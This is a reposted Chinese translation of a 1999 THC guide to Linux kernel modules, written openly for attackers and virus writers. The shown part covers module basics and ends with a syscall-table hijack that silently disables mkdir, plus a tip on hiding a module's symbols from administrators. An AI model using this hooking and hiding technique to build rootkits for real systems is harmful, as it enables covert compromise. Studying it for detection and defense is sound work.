1. 程式人生 > >Linux可載入核心模組(LKM)(轉載)

Linux可載入核心模組(LKM)(轉載)

轉載:

漏天劍

Linux可載入核心模組(LKM)

Linux可載入核心模組完全版

--黑客、病毒程式編寫者和系統管理員的概念性指南

作者:pragmatic/THC

版本:1.0

釋出時間:03/1999/

譯者:[email protected]

I.基礎知識

1.什麼是LKM

2.什麼是系統呼叫

3.什麼是核心符號表

4.如何進行核心與使用者空間記憶體資料的交換

5.使用使用者空間的各種函式方法

6.常用核心空間函式列表

7.什麼是核心後臺程序

8.建立自己的裝置

II.深入探討

1.如何截獲系統呼叫

2.哪些系統呼叫應被截獲

2.1 尋找重要的系統呼叫(strace命令方法)

3.迷惑核心系統表

4.針對檔案系統的黑客方法

4.1 如何隱藏檔案

4.2 如何隱藏檔案內容(總體說明)

4.3 如何隱藏檔案的特定部分(源語示例)

4.4 如何監視重定向檔案操作

4.5 如何避免某一檔案的屬主問題

4.6 如何使黑客工具目錄不可訪問

4.7 如何改變CHROOT環境

5.針對程序的黑客方法

5.1如何隱藏某一程序

5.2如何重定向檔案的執行

6.針對網路(Socket)的黑客方法

6.1 如何控制Socket操作

7.終端(TTY)的擷取方法

8.用LKM編寫病毒

8.1 LKM病毒是如何感染檔案的(不僅感染模組;源語示例)

8.2 LKM病毒如何協助入侵的

9.使LKM不可見、不可刪除

10.其它濫用核心後臺程序的方法

11.如何檢測自己編寫的當前LKM

III.解決辦法(用於系統管理員)

1.LKM檢測程式的原理與思路

1.1 檢測程式示例

1.2 密碼保護的creat_module()函式型別程式的例項

2.反LKM傳染程式的編寫思路

3.使自己的程式不可跟蹤(原理)

4.用LKM加固Linux核心

4.1 為何給予仲裁程式執行權?(用LKM實現的Phrack的Route的思路)

4.2 鏈路修補(用LKM實現的Phrack 的Solar Designer的思路)

4.3 /proc 許可權修補(用LKM實現的Phrack的Route的思路)

4.4 securelevel修補(用LKM實現的Phrack的Route的思路)

底層磁碟修補

IV.一些更好的思路(用於黑客)

1.反擊管理員的LKM的技巧

2.修補整個核心—或建立黑客作業系統

2.1如何在/dev/kmem下尋找核心符號

2.2無需核心支援的新insmod命令

3.最後幾句

內容提要 

V.最新特性:核心2.2

1.對LKM編寫者來說主要的不同點

VI.後話

1.LKM的背景或如何使系統外掛與入侵相容

2.到其它資源的連結

致謝

附錄

A –原始碼

a) LKM Infection by Stealthf0rk/SVAT

b) Heroin - the classic one by Runar Jensen

c) LKM Hider / Socket Backdoor by plaguez

d) LKM TTY hijacking by halflife

e) AFHRM - the monitor tool by Michal Zalewski

f) CHROOT module trick by FLoW/HISPAHACK

g) Kernel Memory Patching by ?

h) Module insertion without native support by Silvio Cesare


導 言

用Linux 構造伺服器環境越來越流行,所以入侵Linux也日益增多。攻擊Linux的最高技術之一就是使用核心程式碼。這種核心程式碼可據其特性稱為可載入核心模組(LKM),是一段執行在核心空間的程式碼,這就允許我們訪問作業系統最敏感的部分。以前也有一些非常出色的介紹LKM入侵的文獻(例如Phrack),他們介紹新的思路、新的方法並完成一個黑客夢寐以求的功能的LKM,並且1998年一些公開的討論(新聞組、郵件列表)也是非常熱門的。

為什麼我又寫一遍關於LKM的文字呢,有幾個原因:

以前的文獻對核心初學者沒有給出好的解釋;本文有比較大的篇幅幫助初學者去理解概念。我見過很多利用漏洞或竊聽程式卻對這些東西如何工作一無所知的人。我在文中包括了大量加了詳細註釋的原始碼,主要也是為了幫助那些知道網路入侵遠遠不同於網路破壞的初學者。
所有公開的文獻都是關於某個主題的,沒有專門為黑客寫的關於LKM的完備的指導。本文將涵蓋核心濫用的幾乎所有方面(甚至關於病毒)
本文是從黑客和病毒程式編寫者的角度出發的,但對系統管理員和一般核心開發人員改進工作也有幫助。
早期的文獻向我們提供了LKM濫用的主要優點和方法,但沒有什麼是大家沒聽說過的。本文將提供一些新的思路。(沒有完全都是新的東西,但有些東西會對我們有所幫助)
本文將提供一些概念,用簡單的方法防止LKM攻擊。
本文還將說明如何運用一些方法打破LKM保護,如實時程式碼修補。
請記住,新思路的實現是用源語模組實現的(只用於演示),如果要實際使用就須改寫。

本文的寫作動機是給大家一篇涵蓋LKM所有問題的文章。在附錄A給出了一些已有的LKM外掛和它們工作的簡單描述以及如何使用它們。

整個文章(第五部分除外)是基於Linux2.0.x機器的(x86)。本人測試了所有程式和程式碼段。為了使用本文的大部分程式例子,Linux系統必須支援LKM。只有第四部分提供的原始碼無須本地LKM支援。本文中的大部分思路在2.2.x版本的系統上也能用(也許需要一些輕微改動);但想到2.2.x 核心剛剛釋出(1/99)並且大部分發行商一直使用2.0.x(Redhat,SuSE,Caldera,...)。要到四月一些發行商如SuSE才會發行它們的2.2.x版核心,所以目前還無須知道如何入侵2.2.x核心。好的系統管理員為了更穩定的2.2.x核心也等了好幾個月了。[注:好多系統不需要2.2.x核心所以還會沿用2.0.x]

本文有專門一節幫助系統管理員針對LKM提高系統安全。讀者(黑客)也要閱讀此節,你必須懂得系統管理員懂的所有知識,甚至比他懂的更多。你從此節也會獲得一些思路,幫助自己編寫更高階的‘黑客—LKM’。請通讀全文。

請記住:本文僅用於教育目的。如利用本文的知識從事非法活動,後果自負。

第一部分 基礎知識

1、什麼是LKM

LKM是Linux核心為了擴充套件其功能所使用的可載入核心模組。LKM的優點:動態載入,無須重新實現整個核心。基於此特性,LKM常被用作特殊裝置的驅動程式(或檔案系統),如音效卡的驅動程式等等。

所有的LKM包含兩個最基本的函式(最小):

int init_module(void) /*用於初始化所有成員*/

{

...

}

void cleanup_module(void) /*用於退出清理*/

{

...

}

載入一個模組使用如下命令,一般只有root有此許可權:

#insomod module.o

此命令強制系統如下工作:

載入目標檔案(此處為module.o)
呼叫create_module系統呼叫(關於系統呼叫見I.2)重新分配記憶體
核心符號用系統呼叫get_kernel_syms解析尚未解析的引用
然後系統呼叫init_module初始化LKMà 即執行int init_module(void)函式
核心符號將在I.3中解釋(核心符號表)。

下面我們寫出第一個小LKM展示一下它的基本工作原理:

#define MODULE

#include < LINUX module.h >

int init_module(void)

{

printk("<1>Hello World/n");

return 0;

}

void cleanup_module(void)

{

printk("<1>Bye, Bye");

}

你可能想知道為什麼用printk(...)而不是用printf(...),是的,核心程式設計大體上是不同於使用者空間程式設計的。你只有一個有限的命令集(見 I.6)。用這些命令你不能做太多事,所以你將學到如何利用你所知的使用者空間應用的大量函式去幫助你攻擊核心。耐心一點,我們不得不做一些以前(沒聽過,沒做過...)的一些事。

上例如下編譯:

#gcc –c –O3 helloworld.c

#insmod helloworld.o

好,我們的模組被載入了,並顯示了最著名的文字。現在你可以用一些命令來告訴你你的LKM確實存在於核心空間了。

#lsmod

Module Pages Used by

helloworld 1 0

此命令從/proc/modules下讀取資訊,顯示當前哪些模組被載入。’Pages’是記憶體資訊(此模組用了多少頁);’Used by’欄目告之此模組被系統用了多少次(引用次數)。只有此欄目數值為0時,才能刪除模組;檢查此數值後,可用如下命令刪除模組:

#rmmod helloworld

好,這是我們朝著濫用LKM走的第一小步(非常小)。本人經常把LKM同以前DOS下記憶體駐留程式進行對比(我知道,它們有很多不同),它們都是我們駐留在記憶體中截獲每個我們想要的中斷的一個門戶。微軟的Win9x有種程式叫VxD的,也同LKM相似(當然也有很多不同)。這些駐留程式最令人感興趣的部分是具有掛起系統函式的功能,這些系統函式在Linux世界裡稱為系統呼叫。

2、什麼是系統呼叫

我希望你能明白,每個作業系統都有一些嵌在核心中的函式,這些函式可以被系統的每個操作使用。

這些Linux使用的函式稱為系統呼叫。它們對應使用者和核心之間的轉換。在使用者空間開啟一個檔案對應核心空間的sys_open系統呼叫。要得到自己系統的完全的系統呼叫列表可以看/usr/include/sys/syscall.h檔案。下面是我機器上的syscall.h列表:

#ifndef _SYS_SYSCALL_H

#define _SYS_SYSCALL_H

#define SYS_setup 0 /* 只用於初始化,使系統執行 。*/

#define SYS_exit 1

#define SYS_fork 2

#define SYS_read 3

#define SYS_write 4

#define SYS_open 5

#define SYS_close 6

#define SYS_waitpid 7

#define SYS_creat 8

#define SYS_link 9

#define SYS_unlink 10

#define SYS_execve 11

#define SYS_chdir 12

#define SYS_time 13

#define SYS_prev_mknod 14

#define SYS_chmod 15

#define SYS_chown 16

#define SYS_break 17

#define SYS_oldstat 18

#define SYS_lseek 19

#define SYS_getpid 20

#define SYS_mount 21

#define SYS_umount 22

#define SYS_setuid 23

#define SYS_getuid 24

#define SYS_stime 25

#define SYS_ptrace 26

#define SYS_alarm 27

#define SYS_oldfstat 28

#define SYS_pause 29

#define SYS_utime 30

#define SYS_stty 31

#define SYS_gtty 32

#define SYS_access 33

#define SYS_nice 34

#define SYS_ftime 35

#define SYS_sync 36

#define SYS_kill 37

#define SYS_rename 38

#define SYS_mkdir 39

#define SYS_rmdir 40

#define SYS_dup 41

#define SYS_pipe 42

#define SYS_times 43

#define SYS_prof 44

#define SYS_brk 45

#define SYS_setgid 46

#define SYS_getgid 47

#define SYS_signal 48

#define SYS_geteuid 49

#define SYS_getegid 50

#define SYS_acct 51

#define SYS_phys 52

#define SYS_lock 53

#define SYS_ioctl 54

#define SYS_fcntl 55

#define SYS_mpx 56

#define SYS_setpgid 57

#define SYS_ulimit 58

#define SYS_oldolduname 59

#define SYS_umask 60

#define SYS_chroot 61

#define SYS_prev_ustat 62

#define SYS_dup2 63

#define SYS_getppid 64

#define SYS_getpgrp 65

#define SYS_setsid 66

#define SYS_sigaction 67

#define SYS_siggetmask 68

#define SYS_sigsetmask 69

#define SYS_setreuid 70

#define SYS_setregid 71

#define SYS_sigsuspend 72

#define SYS_sigpending 73

#define SYS_sethostname 74

#define SYS_setrlimit 75

#define SYS_getrlimit 76

#define SYS_getrusage 77

#define SYS_gettimeofday 78

#define SYS_settimeofday 79

#define SYS_getgroups 80

#define SYS_setgroups 81

#define SYS_select 82

#define SYS_symlink 83

#define SYS_oldlstat 84

#define SYS_readlink 85

#define SYS_uselib 86

#define SYS_swapon 87

#define SYS_reboot 88

#define SYS_readdir 89

#define SYS_mmap 90

#define SYS_munmap 91

#define SYS_truncate 92

#define SYS_ftruncate 93

#define SYS_fchmod 94

#define SYS_fchown 95

#define SYS_getpriority 96

#define SYS_setpriority 97

#define SYS_profil 98

#define SYS_statfs 99

#define SYS_fstatfs 100

#define SYS_ioperm 101

#define SYS_socketcall 102

#define SYS_klog 103

#define SYS_setitimer 104

#define SYS_getitimer 105

#define SYS_prev_stat 106

#define SYS_prev_lstat 107

#define SYS_prev_fstat 108

#define SYS_olduname 109

#define SYS_iopl 110

#define SYS_vhangup 111

#define SYS_idle 112

#define SYS_vm86old 113

#define SYS_wait4 114

#define SYS_swapoff 115

#define SYS_sysinfo 116

#define SYS_ipc 117

#define SYS_fsync 118

#define SYS_sigreturn 119

#define SYS_clone 120

#define SYS_setdomainname 121

#define SYS_uname 122

#define SYS_modify_ldt 123

#define SYS_adjtimex 124

#define SYS_mprotect 125

#define SYS_sigprocmask 126

#define SYS_create_module 127

#define SYS_init_module 128

#define SYS_delete_module 129

#define SYS_get_kernel_syms 130

#define SYS_quotactl 131

#define SYS_getpgid 132

#define SYS_fchdir 133

#define SYS_bdflush 134

#define SYS_sysfs 135

#define SYS_personality 136

#define SYS_afs_syscall 137 /* 用於Andrew檔案系統的系統呼叫。*/

#define SYS_setfsuid 138

#define SYS_setfsgid 139

#define SYS__llseek 140

#define SYS_getdents 141

#define SYS__newselect 142

#define SYS_flock 143

#define SYS_syscall_flock SYS_flock

#define SYS_msync 144

#define SYS_readv 145

#define SYS_syscall_readv SYS_readv

#define SYS_writev 146

#define SYS_syscall_writev SYS_writev

#define SYS_getsid 147

#define SYS_fdatasync 148

#define SYS__sysctl 149

#define SYS_mlock 150

#define SYS_munlock 151

#define SYS_mlockall 152

#define SYS_munlockall 153

#define SYS_sched_setparam 154

#define SYS_sched_getparam 155

#define SYS_sched_setscheduler 156

#define SYS_sched_getscheduler 157

#define SYS_sched_yield 158

#define SYS_sched_get_priority_max 159

#define SYS_sched_get_priority_min 160

#define SYS_sched_rr_get_interval 161

#define SYS_nanosleep 162

#define SYS_mremap 163

#define SYS_setresuid 164

#define SYS_getresuid 165

#define SYS_vm86 166

#define SYS_query_module 167

#define SYS_poll 168

#define SYS_syscall_poll SYS_poll

#endif /* */

每個系統呼叫被定義了一個數字(見上列表),實際上是用數字做系統呼叫。

核心用中斷0x80管理所有的系統呼叫。系統呼叫號和其它引數被移入某個暫存器(例如,將系統呼叫號放入eax)。Sys_call_table[]作為核心中的一個結構陣列,系統呼叫號此陣列的索引,這個結構陣列把系統呼叫號映像到所需服務函式。

好,這些知識足夠繼續讀下去了,下表列出了最讓人感興趣的系統呼叫,附有簡短說明。相信我,如果你想編寫真正有用的LKM,你必須確切弄懂這些系統呼叫如何工作的。

系統呼叫
描述

int sys_brk(unsigned long new_brk);
改變資料段的大小à 此係統呼叫將在I.4中討論

int sys_fork(struct pt_regs regs);
對應使用者空間著名函式fork()的系統呼叫

int sys_getuid ()

int sys_setuid (uid_t uid)

...
管理UID 等的系統呼叫

int sys_get_kernel_sysms(struct kernel_sym *table)
訪問核心系統表的系統呼叫 (見I.3)

int sys_sethostname (char *name, int len);

int sys_gethostname (char *name, int len);
sys_sethostname 用於設定主機名,sys_gethostname 用於取回主機名

int sys_chdir (const char *path);

int sys_fchdir (unsigned int fd);
兩個函式都用於設定當前路徑(cd ...)

int sys_chmod (const char *filename, mode_t mode);

int sys_chown (const char *filename, mode_t mode);

int sys_fchmod (unsigned int fildes, mode_t mode);

int sys_fchown (unsigned int fildes, mode_t mode);
用來管理許可權等的一些函式

int sys_chroot (const char *filename);
為申請呼叫的程序設定根路徑

int sys_execve (struct pt_regs regs);
重要的系統呼叫,用來執行檔案(pt_regs是暫存器堆疊)

long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);
改變fd(開啟檔案的描述符)的特徵

int sys_link (const char *oldname, const char *newname);

int sym_link (const char *oldname, const char *newname);

int sys_unlink (const char *name);
管理硬/軟連結的系統呼叫

int sys_rename (const char *oldname, const char *newname);
改檔名

int sys_rmdir (const char* name);

int sys_mkdir (const *char filename, int mode);
建立和刪除目錄

int sys_open (const char *filename, int mode);

int sys_close (unsigned int fd);
開啟相關檔案(也可建立),關閉檔案

int sys_read (unsigned int fd, char *buf, unsigned int count);

int sys_write (unsigned int fd, char *buf, unsigned int count);
讀寫檔案的系統呼叫

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
取檔案列表的系統呼叫(ls等命令)

int sys_readlink (const char *path, char *buf, int bufsize);
讀符號連結

int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);
複雜I/O操作

sys_socketcall (int call, unsigned long args);
socket 函式

unsigned long sys_create_module (char *name, unsigned long size);

int sys_delete_module (char *name);

int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);
用於載入/解除安裝及查詢LKM

我認為對任何入侵這些都是最重要的系統呼叫,當然對你作為超級使用者的系統可能還需要一些更特殊的。但一般的黑客更可能使用上面列出的。在第二部分你會學到怎樣使用對你有用的系統呼叫。

3.什麼是核心符號表

好,我們理解了模組和系統呼叫最基本的概念。但還有另外一個我們需要理解的重點—核心符號表。看一下/proc/ksyms,這個檔案的每一項代表一個引出的(公共)核心符號,可被我們的LKM訪問。再仔細看看這個檔案,你會發現很多有趣的東西。這個檔案真的很有趣,可以幫助我們看一看我們的LKM能用哪些核心符號;但有個問題,在我們的LKM(象函式一樣)中使用的每個符號也被引出為公共符號,也列在此檔案中,所以有經驗的系統管理員能發現我們的小LKM並殺掉它。

有很多種方法可防止管理員看到我們的LKM,看節II。在第二節中提到的方法可以被稱為欺騙(’Hack’),但你讀第二節的內容時,你看不到“把LKM符號排除在/proc/ksyms之外”的字樣。;在第二節中沒提到這個問題的原因如下:

你並不需要把你的模組符號排除在/proc/ksyms之外的技巧。LKM的開發人員可用如下的常規程式碼限制他們模組的輸出符號:

static struct symbol_table module_syms= { /*定義自己的符號表*/

#include < LINUX symtab_begin.h >/*我們想要輸出的符號,我們真想麼?*/

...

};

register_symtab(&module_syms); /*做實際的註冊工作*/

正如我所說,我們不想輸出任何符號為公共符號,所以我們用如下建構函式:

register_symtab(NULL);

這一行必須插入到init_module()函式中,記住這一點!

4.如何進行核心與使用者空間記憶體資料的交換

到目前為止本文非常基本非常容易。現在我們來點難的(但提高不多)。在核心空間程式設計有很多好處,但也有很多不足。系統呼叫從使用者空間獲得引數(系統呼叫在一些封裝程式如libc中實現),但我們的LKM執行在核心空間。在節II中你會看到檢查某個系統呼叫的引數非常重要,因為要根據引數決定對策。但我們怎麼才能在工作於核心空間的模組中訪問使用者空間中的引數呢?

解決辦法:我們必須進行傳送。

對非利用核心入侵的黑客來說有點奇怪,但也非常容易。看下面的系統呼叫:

int sys_chdir (const char *path)

想象一下系統呼叫它,我們截獲了呼叫(將在節II中講到)。我們想檢查一下使用者想設定的路徑,所以我們必須訪問char *path。如果你試著象下面那樣直接訪問path變數

printk("<1>%s/n", path);

就一定會出問題。

記住你是在核心空間,你不能輕易的讀使用者空間記憶體。在Phrack52你可得到plaguez的解決方法,專用於傳送字串。他用核心模式函式(巨集)取回使用者空間記憶體中的位元組。

#include < ASM segment.h >

get_user(pointer);

給這個函式一個指標指向*path就可幫助我們從使用者空間取到想要的東西到核心空間。看一下plaguez寫的在使用者空間到核心空間移動字串的的程式:

char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;

do {

dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '/0') && (compt != n));

return dest;

}

如果我們想轉換*path變數,我們可用如下核心程式碼:

char *kernel_space_path;

kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /* 在核心空間中分配記憶體*/

(void) strncpy_fromfs(test, path, 20); /*呼叫plaguez寫的函式*/

printk("<1>%s/n", kernel_space_path); /*現在我們可以使用任何想要的資料了*/

kfree(test); /*想著釋放記憶體*/

上面的程式碼工作的非常好。一般性的傳送太複雜;plaguez只用它來傳送字串(函式只用於字串拷貝)。一般資料的傳送可用如下函式簡單實現:

#include < ASM segment.h >

void memcpy_fromfs(void *to, const void *from, unsigned long count);

兩個函式顯而易見基於同類命令,但第二個函式同plaguez新定義的函式幾乎一樣。我推薦用memcpy_fromfs(...)做一般資料傳送,plaguez的前一個用於字串拷貝。

現在我們知道了如何把使用者空間的記憶體轉換到核心空間。但反向怎麼辦?這有點難,因為我們不容易在核心空間的位置定位使用者空間。也許我們可以用如下方式處理轉換:

#include < ASM segment.h >

void memcpy_tofs(void *to, const void *from, unsigned long count);

但如何在使用者空間中定位*to指標呢?plaguez在Phrack一文中給出了最好的解決方法:

/*我們需要brk系統呼叫*/

static inline _syscall1(int, brk, void *, end_data_segment);

...

int ret, tmp;

char *truc = OLDEXEC;

char *nouveau = NEWEXEC;

unsigned long mmm;

mmm = current->mm->brk; /*定位當前程序資料段大小*/

ret = brk((void ) (mmm + 256)); /*利用系統呼叫brk為當前程序增加記憶體256個位元組*/

if (ret < 0)

return ret; /*分配不成功*/

memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

這裡使用了一個非常高明的技巧。Current是指向當前程序任務結構的指標;mm是指向對應程序記憶體管理的資料結構mm_struct的指標。通過用 brk系統呼叫作用於current->mm->brk,我們可以增加未用資料段空間大小,同時我們知道分配記憶體就是處理資料段,所以通過增加未用空間大小,我們就為當前程序分配了一些記憶體。這塊記憶體可用於將核心空間記憶體拷貝到使用者空間(當前程序)。

你可能想知道上面程式碼中第一行是做什麼用的。這一行幫助我們使用在核心空間象呼叫函式一樣使用使用者空間。所有的使用者空間函式對應一個a_syscall(...)形式的巨集,所以我們可以構造一個系統呼叫巨集對應使用者空間的某個函式(通過系統呼叫對應);這裡是針對brk(..)的。

5.使用使用者空間的各種函式方法

你看到的在I.4中我們用一系統呼叫巨集來構造我們自己的brk呼叫,它很象我們所知的使用者空間的brk。事實是使用者空間的庫函式(並非所有的)是通過這樣的系統呼叫巨集來實現的。下面的程式碼展示了用來構造我們在I.4中用的brk(...)函式的_syscall(...)巨集(取自 /asm/unistd.h)。

#define _syscall1(type,name,type1,arg1) /

type name(type1 arg1) /

{ /

long __res; /

__asm__ volatile ("int $0x80" /

: "=a" (__res) /

: "0" (__NR_##name),"b" ((long)(arg1))); /

if (__res >= 0) /

return (type) __res; /

errno = -__res; /

return -1; /

}

你無須瞭解這段程式碼的全部功能,它只是用_syscall的引數作為引數呼叫中斷0x80(見I.2)。name是我們所需的系統呼叫(name被擴充套件為 __NR_name,在/asm/unistd.h中定義)。用這種辦法我們實現了brk函式。其它帶有不同個數引數的函式由其它巨集實現 (_syscallX,其中X代表引數個數)。

我個人用其它方法實現函式;見下例:

int (*open)(char *, int, int); /*宣告原型*/

open = sys_call_table[SYS_open]; /*你也可以用__NR_open*/

用這種方法你無須用任何系統呼叫巨集,你只用來自sys_call_table的函式指標就可以了。我曾在網上發現SVAT的著名LKM感染程式就是用的這種象函式一樣構造使用者空間的方法。我認為這是較好的解決辦法,但你要自己判斷和測試。

要注意為這些系統呼叫提供引數的時候,是來自使用者空間而非你的核心空間。讀I.4找把核心空間的資料傳遞到使用者空間記憶體中的方法。

一個非常簡單的做這些的方法是處理暫存器。你必須知道Linux用段選擇器去區分核心空間、使用者空間等等。從使用者空間傳給系統呼叫的引數位於資料段選擇器限定的某個位置。[我在I.4中沒提到這些,因為它更適合本節。]

從asm/segment.h 知DS可用get_ds()取回。所以系統呼叫中使用的引數資料可在核心空間中訪問,只要我們把核心空間所用的段選擇器的DS值設為使用者段的值就可以了。這可用set_fs(...)實現。但要小心,你必須訪問完系統呼叫的引數之後恢復FS。下面我們看一段有用的程式碼:

例如filename在核心空間的我們剛建立的一個字串,

unsigned long old_fs_value=get_fs();

set_fs(get_ds); /*此後我們可以訪問使用者空間中資料*/

open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);

set_fs(old_fs_value); /*恢復fs...*/

我認為這是最簡單/最快的解決問題的方法,但還需你自己測試。記住我在這裡舉的函式例子(brk,open)都是通過一個系統呼叫實現的。但也有很多使用者空間函式是整合在一個系統呼叫裡面的。看一下重要系統呼叫列表(I.2);例如,sys_socket呼叫實現了所有關於socket的功能(建立、關閉、傳送、接收...)。所以構造自己的函式是要小心,最好看一下核心原始碼。

6.常用核心空間函式列表

本文的開始我介紹了printk(...)函式,它是所有人都可在核心空間使用的,所以叫核心函式。核心開發人員需要很多通常只有通過庫函式才能完成的複雜函式,這些函式被編製成核心函式。下面列出經常使用的最重要的核心函式:

函式/巨集
描述

int sprintf (char *buf, const char *fmt, ...);

int vsprintf (char *buf, const char *fmt, va_list args);
接收資料到字串中的函式

printk (...)
同用戶空間的printf函式

void *memset (void *s, char c, size_t count);

void *memcpy (void *dest, const void *src, size_t count);

char *bcopy (const char *src, char *dest, int count);

void *memmove (void *dest, const void *src, size_t count);

int memcmp (const void *cs, const void *ct, size_t count);

void *memscan (void *addr, unsigned char c, size_t size);
記憶體函式

int register_symtab (struct symbol_table *intab);
見 I.1

char *strcpy (char *dest, const char *src);

char *strncpy (char *dest, const char *src, size_t count);

char *strcat (char *dest, const char *src);

char *strncat (char *dest, const char *src, size_t count);

int strcmp (const char *cs, const char *ct);

int strncmp (const char *cs,const char *ct, size_t count);

char *strchr (const char *s, char c);

size_t strlen (const char *s);size_t strnlen (const char *s, size_t count);

size_t strspn (const char *s, const char *accept);

char *strpbrk (const char *cs, const char *ct);

char *strtok (char *s, const char *ct);
字串比較函式等等

unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base);
把字串轉換成數字

get_user_byte (addr);

put_user_byte (x, addr);

get_user_word (addr);

put_user_word (x, addr);

get_user_long (addr);

put_user_long (x, addr);
訪問使用者記憶體的函式

suser();

fsuser();
檢測超級使用者許可權

int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);

int unregister_chrdev (unsigned int major, const char *name);

int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);

int unregister_blkdev (unsigned int major, const char *name);
登記裝置驅動器的函式

..._chrdev -> 字元裝置

..._blkdev -> 塊裝置

請記住,這些函式中有的也可用I.5中提到的方法實現。當然你也要明白,如果核心已經提供了這些,自己構造就意義不大了。後面你將看到這些函式(尤其是字串比較)對實現我們的目的非常重要。

7.什麼是核心後臺程序

最後我們基本到了基礎知識部分的結尾,現在我解釋一下核心後臺程序的執行情形(/sbin/kerneld)。從名字可以看到這是一個使用者空間中等待某個動作的程序。首先應該知道,為了應用kerneld的特點,必須在建立核心時啟用kerneld選項。Kerneld按如下方式工作:如果核心想訪問某項資源(當然在核心空間),而資源目前沒有,它並不產生錯誤,而是向Kerneld請求該項資源。如果kerneld能夠提供資源,就載入所需的LKM,核心繼續執行。使用這種模式可以僅當LKM真正需要/不需要時被載入或解除安裝。很明顯這些工作在使用者空間和核心空間都有。

Kerneld存在於使用者空間。如果核心請求一個新模組,這個後臺程序將收到一個核心發來的通知哪個模組被載入的字串。核心可能傳送一個一般的名字象eth0(而非物件檔案),這時系統需要查詢/etc/modules.conf中的別名行。這些行把系統所需的LKM同一般名稱匹配起來。

下行說明eth0對應DEC的Tulip 驅動程式LKM

# /etc/modules.conf # 或/etc/conf.modules – 反過來

alias eth0 tulip

以上是對應使用者空間由kerneld後臺程序使用的。核心空間主要由4個函式對應。這些函式都基於對kernekl_send的呼叫。確切的通過kerneld_send呼叫這些函式的方法可參見linux/kerneld.h。下表列出上面提到的四個函式:

函式
描述

int sprintf (char *buf, const char *fmt, ...);

int vsprintf (char *buf, const char *fmt, va_list args);
用於把輸入資料放入字串中的函式

int request_module (const char *name);
告知kerneld核心請求某個模組(給出名稱或類ID/名稱)

int release_module (const char* name, int waitflag);
解除安裝模組

int delayed_release_module (const char *name);
延遲解除安裝

int cancel_release_module (const char *name);
取消對delayed_release_module 的呼叫

注:核心2.2版用其它模式請求模組。參見第五部分。

8.建立你自己的裝置

附錄A介紹了TTY擷取功能,它用一裝置記錄結果。所以我們先看一個裝置驅動程式的很基本的例子。看如下程式碼(這是一個最基本的驅動程式,我主要寫來演示,它幾乎什麼也不做):

#define MODULE

#define __KERNEL__

#include < LINUX module.h >

#include < LINUX kernel.h >

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

/*只用於演示*/

static int driver_open(struct inode *i, struct file *f)

{

printk("<1>Open Function/n");

return 0;

}

/*登記我們的驅動程式提供的所有函式*/

static struct file_operations fops = {

NULL, /*lseek*/

NULL, /*read*/

NULL, /*write*/

NULL, /*readdir*/

NULL, /*select*/

NULL, /*ioctl*/

NULL, /*mmap*/

driver_open, /*open, 看一下我們提供的open函式*/

NULL, /*release*/

NULL /*fsync...*/

};

int init_module(void)

{

/*登記驅動程式,符號為40,名稱為driver */

if(register_chrdev(40, "driver", &fops)) return -EIO;

return 0;

}

void cleanup_module(void)

{

/*登出driver*/

unregister_chrdev(40, "driver");

}

最重要的函式是register_chrdev(...),它把我們的驅動程式以主裝置號40登記,如果你想訪問此驅動程式,如下操作:

# mknode /dev/driver c 40 0

# insmod driver.o

然後你就可以訪問裝置了(但我因為沒時間沒實現任何功能)。File_operations結構指明我們的驅動程式將提供給系統的所有函式(操作)。正如你所見我僅僅實現了最基本的無用函式輸出一點東西。顯然你可以用如上方法簡單的實現你自己的裝置。做一點練習。如果你想記錄資料(如擊鍵),你可以在驅動程式中建立一個緩衝區,然後通過裝置介面將其內容輸出。

第二部分 深入探討

1、如何截獲系統呼叫

現在我們開始濫用LKM模式。一般LKM用於擴充套件核心(尤其硬體驅動程式)。我們的攻擊‘hack’要做點兒不同的,首先截獲系統呼叫然後修改它們,以便針對某個命令改變系統的響應方式。下面的模組使修改過的系統上的使用者不能建立目錄。這只是我們將如何工作的一個小小演示:

#define MODULE

#define __KERNEL__

#include < LINUX module.h>

#include < LINUX kernel.h>

#include < ASM unistd.h>

#include < SYS syscall.h>

#include < SYS types.h>

#include < ASM fcntl.h>

#include < ASM errno.h>

#include < LINUX types.h>

#include < LINUX dirent.h>

#include < SYS mman.h>

#include < LINUX string.h>

#include < LINUX fs.h>

#include < LINUX malloc.h>

extern void* sys_call_table[]; /*sys_call_table 被引出,所以我們可訪問它*/

int (*orig_mkdir)(const char *path); /*未改前的系統呼叫*/

int hacked_mkdir(const char *path)

{

return 0; /*一切正常,但新的系統呼叫什麼也不做*/

}

int init_module(void) /*模組初始化*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}

void cleanup_module(void) /*模組解除安裝*/

{

sys_call_table[SYS_mkdir]=orig_mkdir; /*把mkdir系統呼叫恢復*/

}

編譯執行這個模組(見I.1),試著建目錄,應該不行。因為返值為0(意味著正常)我們不能獲得錯誤資訊。刪掉模組後,又可以建目錄了。如你所見,要截獲核心系統呼叫,只需更改sys_call_table(見I.2)中的對應登記項。

截獲系統呼叫的一般方法大致如下列出:

在sys_call_table[]中查詢系統呼叫的登記項(看一下include/sys/syscall.h)
用函式指標把sys_call_table[X]中的原始登記項儲存(X代表想截獲的系統呼叫號)
通過設定sys_call_table[X]為所需函式地址,把你自己定義的新的系統呼叫(偽裝過的)地址儲存起來。
你要意識到把原始系統呼叫的函式指標儲存非常有用,因為在你的偽造的函式中要用它來模擬原始函式。在寫‘Hack-LKM’時你要面對的第一個問題就是‘哪個系統呼叫應被截獲’。

2.哪些系統呼叫應被截獲

也許你並非‘核心高手’,不知道所有應用程式或命令可使用的用於使用者空間函式的系統呼叫。所以我將給你一些找到要控制的系統呼叫的提示:

